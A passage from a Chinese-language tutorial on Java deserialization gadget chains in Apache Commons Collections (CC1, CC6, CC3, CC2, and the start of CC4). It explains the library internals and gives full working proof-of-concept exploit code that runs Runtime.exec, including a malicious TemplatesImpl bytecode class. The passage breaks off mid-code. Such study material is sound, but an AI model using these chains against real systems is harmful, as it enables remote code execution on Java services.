前言 当初学Java反序列化最先遇到的,这也是绕不开的东西。虽然现在对于很多Java反序列化题已经不能直接套用CC链速通,但是很多缝合怪调试到最后一步还是采用的CC链部分,因为原生反序列化肯定是很好用的。
首先简单介绍一下几个关键词:
1 对于利用链上的类,都需要实现Serializable接口、或继承该接口的实现类
1 2 3 Source:入口类(重写readObject调用常见方法,参数类型宽泛,最好jdk自带) Gadget Chain:调用链(相同方法名、相同参数类型、不同调用过程) Sink:执行类(RCE、SSRF、写文件...)
常见方法:toString
、hashCode
、equals
在后面的CC链中经常看到HashMap
作为入口类,它实现了Serializable
接口且作为jdk自带的类,readObject
中调用了常见方法hashCode
,是不错的入口类。
严格来说应该从URLDNS开始写,但是原理也很简单很易懂,只涉及URL类里hashcode里的简单操作触发访问DNS(其实是我懒),就不写了。
话不多说,直接回到我们梦开始的地方-Commons Collections 。
CC1 CC1其实用的不多,CC链里用得频繁的其实是CC3(恶意字节码)、CC6以及CC4,还有很少见的CC2,CC1其实就是起到一个引入学习的作用。
首先依赖就直接
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency >
在这里我用的是Jdk8u401
。
这几个Map都尤为经典,需要深入学习。
Transformer
1 2 3 public interface Transformer { public Object transform (Object input) ; }
可以看到Transformer
是一个接口,可以接受任意一个Object
类型的参数传入。这个接口有几个重要的Map实现类,而且它们都实现了Serializable
接口。
ConstantTransformer
1 2 3 4 5 6 7 8 9 10 public class ConstantTransformer implements Transformer , Serializable { private final Object iConstant; public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; } }
这里ConstantTransformer
调用transform()
方法返回构造时传入的对象
写一堆玩意其实就是传入传出一个对象,前后不变。
InvokerTransformer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class InvokerTransformer implements Transformer , Serializable { public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } } }
这个就比较关键了,是反序列化利用的常客。因为它这里的invoke可以执行任意方法。
iMethodName 待执行的方法名
iParamTypes 待执行方法的参数列表的参数类型
iArgs 待执行方法的参数列表
调用transform
的时候会执行input对象的iMethodName方法。
ChainedTransformer
1 2 3 4 5 6 7 8 9 10 11 12 public class ChainedTransformer implements Transformer , Serializable { public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } }
写一堆,其实就是把多个Transformer
串成一条链子,前一个调用返回的结果作为后一个调用的参数。
TransformedMap
1 2 3 4 5 6 7 8 9 10 11 12 13 public class TransformedMap { public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } protected Object checkSetValue (Object value) { return valueTransformer.transform(value); } }
TransformedMap
用于对Java原生Map进行一些修饰,当Map调用setValue
时,会触发checkSetValue
,进而调用transform
。其构造方法被protected
修饰,因此我们利用它的静态public方法decorate
POC 首先我们想到的是使用Transformer
的实现类和TransformedMap
实现命令执行:
1 2 3 4 5 6 7 8 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) };ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map<Object, Object> map = new HashedMap (); Map<Object, Object> evilMap = TransformedMap.decorate(map, null , chainedTransformer); evilMap.put("test" , 114514 );
但是这里有俩问题:
Runtime类没有实现Serializable
接口,无法反序列化
需要找到readObject
中有类似Map.put(xxx,yyy)
操作的类
对于问题一,Class
类可以反序列化,那么我们可以用Runtime.class
作为ChainedTransformer
的入口参数,后面再通过反射来调用exec
1 2 3 4 5 6 7 8 9 10 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{Runtime.class, null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) };ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map<Object, Object> map = new HashedMap (); Map<Object, Object> evilMap = TransformedMap.decorate(map, null , chainedTransformer); evilMap.put("test" , 114514 );
对于问题二,这里有一个完美完成任务的类:AnnotationInvocationHandler
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
审一下就可以得到
1 2 3 memberValue.setValue =》 TransformedMap#checkSetValue =》 valueTransformer.transform()
checkSetValue会因为Map调用setValue方法而调用checkSetValue方法;
因此让memberValue
为上面的evilMap即可。
但怎么触发到这个setValue呢?
判断条件在:
1 Class<?> memberType = memberTypes.get(name);
它需要满足memberType != null
才能进入memberValue.setValue
继续跟进:
1 Map<String, Class<?>> memberTypes = annotationType.memberTypes(); String name = memberValue.getKey();
再到annotationType:
1 annotationType = AnnotationType.getInstance(type);
构造函数:
1 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues)
type是构造对象时传进来的Annotation子类
的Class
name是传入Map(memberValues)的每个键名
memberType.get(name)
要不为空 即要求AnnotationType
要有名为name
的成员
1 2 3 4 System.out.println(AnnotationType.getInstance(Target.class).memberTypes()); System.out.println(AnnotationType.getInstance(Retention.class).memberTypes());
@Retention和@Target都有value
这个成员
另外,AnnotationInvocationHandler
的构造方法被default修饰,不能直接new,要利用反射来实例化该类。
那么我们就得到了CC1-TransformedMap-POC :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{Runtime.class, null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) };ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map<Object, Object> map = new HashedMap (); map.put("value" , 114514 ); Map<Object, Object> evilMap = TransformedMap.decorate(map, null , chainedTransformer);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class); cons.setAccessible(true );Object aih = cons.newInstance(Target.class, evilMap);ByteArrayOutputStream baos = new ByteArrayOutputStream ();ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(aih); oos.close();ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (baos.toByteArray()));Object o = (Object) ois.readObject(); ois.close();
但这个CC1问题很多,首先是sun.reflect.annotation.AnnotationInvocationHandler
作为CC1链的入口类, 在Jdk8u71 之后被修改了,修改后的readObject
方法中新建了一个LinkedHashMap
对象,并将原来的键值添加进去。
所以,后续对Map的操作都是基于这个新的LinkedHashMap
对象,而原来我们精心构造的Map不再执行setValue或put操作,也就不会触发RCE了。
接下来就要引入CC1-LazyMap 的方法,这也是ysoserial中的方法。
LazyMap 分析完上面的链子其实就很显然,CC链的关键在于transform()
的触发,上面那条TransformedMap
的触发在于“外援”AnnotationInvocationHandler
的readObject
调用了setValue
,进而触发TransformedMap
的checkSetValue
,进而触发transform()
而LazyMap
是另一个触发点备选,因为LazyMap
的get
方法中会执行factory.transform()
,也暗合“懒加载”的真谛。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class LazyMap implements Serializable { protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = factory; } public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } }
LazyMap
由get触发,对比一下可以发现:
LazyMap:get元素时触发
TransformedMap:set元素时触发
POC 先给出Gadget Chains:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ObjectInputStream#readObject() AnnotationInvocationHandler#readObject() Map(Proxy)#entrySet() AnnotationInvocationHandler#invoke() LazyMap#get() ChainedTransformer#transform() ConstantTransformer#transform() InvokerTransformer#transform() Method#invoke() Class#getMethod() InvokerTransformer#transform() Method#invoke() Runtime#getRuntime() InvokerTransformer#transform() Method#invoke() Runtime#exec()
与前面分析的TransformedMap
不同,在sun.reflect.annotation.AnnotationInvocationHandler
的readObject
方法中并没有直接调用到Map的get方法。
但是ysoserial找到了AnnotationInvocationHandler
的invoke方法中调用了get:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); }
sun.reflect.annotation.AnnotationInvocationHandler
实际是个代理类,它实现了InvocationHandler
接口。
我们只需要完成:
readObject
中调用任意方法,调用者是AnnotationInvocationHandler
代理对象
AnnotationInvocationHandler
的invoke
触发memberValues.get()
,因此代理对象的memberValues
要设为LazyMap
LazyMap#get
触发factory.transform()
那么POC也就呼之欲出了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ( "invoke" , new Class []{Object.class, Object[].class}, new Object []{Runtime.class, null }), new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map argMap = new HashMap (); Map evilMap = LazyMap.decorate(argMap, chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, evilMap); Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class []{Map.class}, handler); handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(handler); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (baos.toByteArray())); Object o = (Object) ois.readObject(); }
POC中触发invoke
的是
1 AnnotationInvocationHandler#readObject => memberValues.entrySet()
因此Proxy.newProxyInstance
传的是Map
的ClassLoader
和接口
但是,LazyMap
的漏洞触发在get和invoke中 而TransformedMap
的漏洞触发在setValue中
同样在 Jdk8u71 之后,由于AnnotationInvocationHandler
不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap
对象,后续对Map的操作都是基于这个新的LinkedHashMap
对象。 因此CC1链只局限在Jdk8u71 之前的版本。所以这里弹不出calc,但是原理是这么个原理。
CC6 为什么不按顺序来,确实因为CC2的特点跟前面CC1接不上,但是CC6可以顺延往下讲,上面说到Jdk8u71 引入的LinkedHashMap
让CC1失效,而CC6克服了这一点,脱胎于CC1,成为Java8系列常见的原生链。
CC6链子后半段还是使用CC1的LazyMap
,由于AnnotationInvocationHandler
因Java版本而利用受限,需要找寻其他可以调用LazyMap#get
的地方。
这里又要引入一个完美解决这个问题的类了,接下来赶到战场的是:
1 org.apache.commons.collections.keyvalue.TiedMapEntry
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class TiedMapEntry implements Map .Entry, KeyValue, Serializable { public TiedMapEntry (Map map, Object key) { super (); this .map = map; this .key = key; } public Object getValue () { return map.get(key); } public Object getKey () { return key; } public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } }
显而易见的是getValue
部分调用了get
方法,那么就有链子:
hashCode()
=> getValue()
=> map.get(key)
hashCode是在URLDNS中也用到的,作为一个访问DNS的触发器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 for (int i = 0 ; i < mappings; i++) { K key = (K) s.readObject(); V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); }static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
这里可以得到一个链:
readObject()
=> hash(key)
=> key.hashCode()
所以我们就能得出,在这里让key == TiedMapEntry对象 ,就能完美连接起来前面的链子了。
POC 先给出Gadget Chains:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ObjectInputStream#readObject() HashSet#readObject() HashMap#put() HashMap#hash() TiedMapEntry#hashCode() TiedMapEntry#getValue() LazyMap#get() ChainedTransformer.transform() ConstantTransformer#transform() InvokerTransformer#transform() Method#invoke() Class#getMethod() InvokerTransformer#transform() Method#invoke() Runtime#getRuntime() InvokerTransformer#transform() Method#invoke() Runtime#exec()
初代目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ( "invoke" , new Class []{Object.class, Object[].class}, new Object []{Runtime.class, null }), new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )};Transformer transformerChain = new ChainedTransformer (fakeTransformers);Map map = new HashMap ();Map lazyMap = LazyMap.decorate(map, transformerChain);TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "test" );Map expMap = new HashMap (); expMap.put(tiedMapEntry, "xxx" );Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain, transformers);ByteArrayOutputStream baos = new ByteArrayOutputStream ();ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(expMap); oos.close();ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (baos.toByteArray()));Object o = (Object) ois.readObject();
但是这个是没办法直接反序列化的。
当我们执行Map.put()
的时候会触发hash()
,进而牵动整条链。
再来看LazyMap
的get()
,由于是懒加载因此得到当前map中没有key,才会满足那个if条件再调用到factory.transform(key)
生成value,再map.put(key, value)
,这时候lazyMap
中就有key了。(这里的key是new TiedMapEntry
传入的key)
1 2 3 4 5 6 7 8 9 10 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
解决方法也很简单,只需要想办法把这个键值对从LazyMap
中移除就行,即lazyMap.remove("test");
Final CC6-POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ( "invoke" , new Class []{Object.class, Object[].class}, new Object []{Runtime.class, null }), new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer[] fakeTransformers = new Transformer []{new ConstantTransformer (1 )}; Transformer transformerChain = new ChainedTransformer (fakeTransformers); Map map = new HashMap (); Map lazyMap = LazyMap.decorate(map, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "test" ); Map expMap = new HashMap (); expMap.put(tiedMapEntry, "xxx" ); lazyMap.remove("test" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain, transformers); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(expMap); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (baos.toByteArray())); Object o = (Object) ois.readObject();
划时代的意义。
CC3 CC4涉及到更新的Commons-Collections4,所以留到后面讲,而CC3同样具有划时代的意义,因为它的逻辑用到的是恶意字节码,这对于Java反序列化来说是个很常见的Attack方式。
首先需要介绍的是Java动态加载字节码的东西。
你可能会看到很多次 Gadgets.createTemplatesImpl(command)
,另外你也许曾在fastjson
等漏洞的利用中看到过TemplatesImpl
这个类,它究竟是什么,为何出镜率这么高呢?
字节码是什么就不做过多说明,这与Java作为静态语言而且能够“一次编译,到处运行”的宗旨有关。
加载字节码的方式也很多,这里先不介绍了,后面会单开一章来讲讲。
言归正传,CC3这里的背景是一个Question,CC1和CC6的sink都在InvokerTransformer
上,若WAF直接禁用了该类,是否就拿它没法了?
当然不是。但这里就又要请出另一个解决这个问题的类:
1 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
“我打宿傩?真的假的?”
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
我们先分析一下这个TrAXFilter
。
该类构造方法中调用了(TransformerImpl) templates.newTransformer()
TransformerImpl
在加载字节码的很多文章那里提过,newTransformer
最后能调用到defineClass()
加载恶意字节码。
但是目前看来如果没有InvokerTransfomer
,TrAXFilter
的构造方法也无法调用
这里要用到新的Transformer
实现类InstantiateTransformer
,看看它的transform
,它的作用就是调用构造函数,返回类实例:
1 2 3 4 5 6 public Object transform (Object input) { Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); }
POC 先给出Gadget Chains:
1 2 3 4 5 6 7 8 9 10 11 12 ObjectInputStream#readObject() AnnotationInvocationHandler#readObject() Map(Proxy)#entrySet() AnnotationInvocationHandler#invoke() LazyMap#get() ChainedTransformer#transform() InstantiateTransformer#transform() TrAXFilter#TrAXFilter() TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TemplatesImpl$TransletClassLoader#defineclass()
这里需要用到javassist
来获取字节码:
1 2 3 4 5 <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.29.2-GA</version > </dependency >
Evil.class :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Evil extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }
demo
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public static void setFieldValue (Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, newValue); }public static void main (String[] args) throws Exception { byte [] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode(); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "EddieMurphy" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer ( new Class [] { Templates.class }, new Object [] { obj }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map argMap = new HashMap (); Map evilMap = TransformedMap.decorate(argMap, null , chainedTransformer); evilMap.put("xxx" , "yyy" ); }
把CC6改造一下,就得到了CC3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC3 { public static void setFieldValue (Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, newValue); } public static void main (String[] args) throws Exception { byte [] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode(); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "EddieMurphy" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer ( new Class [] { Templates.class }, new Object [] { obj }) }; Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; Transformer transformerChain = new ChainedTransformer (fakeTransformers); Map map = new HashMap (); Map lazyMap = LazyMap.decorate(map, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "test" ); Map expMap = new HashMap (); expMap.put(tiedMapEntry, "xxx" ); lazyMap.remove("test" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain, transformers); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(expMap); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (baos.toByteArray())); Object o = (Object) ois.readObject(); } }
CC2 前面就提到,Commons-Collection有俩官方的包:
commons-collections:commons-collections
org.apache.commons:commons-collections4
两者的命名空间不冲突,也就是可以共存在同⼀个项目中。
使用
1 2 3 4 5 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency >
之前我们研究的利用链CC1、CC6、CC3
在commons-collections4
均能正常使用,不过方法名可能稍有变动,其实就是Lazymap
处decorate没了:
原decorate:
1 2 3 public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); }
这个⽅法不过就是LazyMap
构造函数的⼀个包装,⽽在4中其实只是改了个名字叫lazymap
。
4中的:
1 2 3 4 public static <V, K> LazyMap<K, V> lazyMap (final Map<K, V> map, final Transformer<? super K, ? extends V> factory) { return new LazyMap <K,V>(map, factory); }
我们将Gadget中出错的代码换⼀下名字:
1 Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
然后弹calc是一样的。
由此可得,CC链实际上就是一条Serializable#readObject()
到Transformer#transform()
的调用链。
要看CC2,那么这里就需要引入两个新类:
java.util.PriorityQueue
org.apache.commons.collections4.comparators.TransformingComparator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class PriorityQueue <E> extends AbstractQueue <E> implements java .io.Serializable { private int size = 0 ; private void readObject (java.io.ObjectInputStream s) { s.defaultReadObject(); s.readInt(); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); } private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); } }
1 2 3 4 5 6 public int compare (final I obj1, final I obj2) { final O value1 = this .transformer.transform(obj1); final O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
Gadget chains:
1 2 3 4 5 6 PriorityQueue#readObject() => heapify() => siftDown() => siftDownUsingComparator() => comparator.compare() => transformer.transform()
heapify
int i = (size >>> 1) - 1
需要非负
siftDownUsingComparator
half = size >>> 1
需要大于上面的i
而且PriorityQueue
构造函数不会给size赋初值,需要用反射去赋值。
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CC2 { public static void setFieldValue (Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, newValue); } public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ( "invoke" , new Class []{Object.class, Object[].class}, new Object []{Runtime.class, null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator comparator = new TransformingComparator (chainedTransformer); PriorityQueue pq = new PriorityQueue (comparator); setFieldValue(pq, "size" , 4 ); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(pq); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (baos.toByteArray())); Object o = (Object) ois.readObject(); } }
Patch org.apache.commons.collections4.comparators.TransformingComparator
在commons-collections4.0
以前是版本没有实现Serializable
接口
官方发布的新版本4.1和3.2.2用于修复CC链3.2.2中增加了⼀个方法:
1 FunctorUtils#checkUnsafeSerialization`
它用于检测反序列化是否安全,其会检查常⻅的危险Transformer类,当我们反序列化包含这些对象时就会抛出异常。 若开发者没有设置全局配置 org.apache.commons.collections.enableUnsafeSerialization=true
即默认情况下会抛出异常
4.1中这几个危险的Transformer
类不再实现Serializable
接口,直接不能序列化和反序列化。
因此CC2只能在commons-collections4.0
上跑通。
CC4 CC4跟CC2很接近。都是在Commons-Collections4的基础上的CC链。
而本质其实CC4就是用InstantiateTransformer
代替了CC2的InvokerTransformer
,借用一下ysoserial
的代码,其实就是CommonsCollections2
的TemplatesImpl
变体,把CC2和CC3拼接一下,就得到了CC4:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 package com.eddiemurphy;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.util.Base64;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;public class CC4 { public static void main (String[] args) throws Exception { byte [] code = 